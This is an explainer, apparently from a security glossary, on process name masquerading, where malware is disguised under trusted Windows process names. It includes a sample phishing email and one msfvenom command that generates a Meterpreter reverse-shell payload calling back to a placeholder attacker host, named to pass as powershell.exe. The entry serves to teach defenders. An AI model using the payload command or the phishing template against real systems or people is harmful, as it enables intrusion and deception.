What is Process Name Masquerading in Social Engineering Attacks?

Process Name Masquerading is a sophisticated technique used by threat actors to disguise malicious processes as legitimate ones within a system, leveraging traditional confusion in social engineering attacks

Definition

Process Name Masquerading: The act of naming or presenting a malicious process as a commonly trusted or legitimate process to evade system defenses and user suspicion.

Why It Matters

Process Name Masquerading plays a crucial role in social engineering attacks because it allows threat actors to bypass both automated and human scrutiny by making malicious processes appear benign. In phishing scenarios, where the ultimate goal is often to execute a payload on the target’s machine, disguise is essential. When threat actors masquerade malware as a recognizable system or application process, it significantly lowers the likelihood of detection by the user or endpoint protection systems.

This tactic is encountered most frequently in post-exploitation phases, where the attacker has already gained some level of access and seeks to maintain persistence, escalate privileges, or simply avoid detection. By using process names that are similar to legitimate processes, attackers can blend into the operating environment. Operators utilize this technique to persist within a system quietly, often masking their actions under the guise of familiar and trusted names like svchost.exe or explorer.exe.

In Practice

Consider a phishing campaign where an attacker uses a malicious email attachment designed to execute a backdoor on the victim’s machine. Instead of launching the payload under a random or obviously suspicious name, the attacker uses process name masquerading to rename the payload as lsass.exe, mimicking a legitimate Windows system process.

Subject: Important: Your Account Access

From: steve@company-support.com

To: user@example.com

Dear User,

Please review the attached document at your earliest convenience to ensure your account remains active.

Best,

Steve

Attachment: Document.doc (contains malicious script initializing <em>lsass.exe</em>)

Operators running tools like Cobalt Strike or Metasploit often configure them to execute payloads with masqueraded process names as part of their engagement strategy. For example, a custom meterpreter payload can be configured to run as powershell.exe, mimicking the legitimate PowerShell executable.


msfvenom -p windows/meterpreter/reverse_tcp LHOST=example.attacker.com LPORT=443 -f exe -o masqueraded_powershell.exe

Another classic example involves exploiting remote execution vulnerabilities where the injected process is made to appear as a standard chrome.exe process, capitalizing on the ubiquity and trust afforded to major browser names.

Related Terms

Understanding Process Name Masquerading is also enhanced by familiarity with terms like Persistency Techniques, which describe methods attackers use to maintain long-term access, and Code Injection, which details methods of inserting malicious code into legitimate processes. Another related term is Process vs. Thread, which distinguishes between different types of execution activities within an operating system.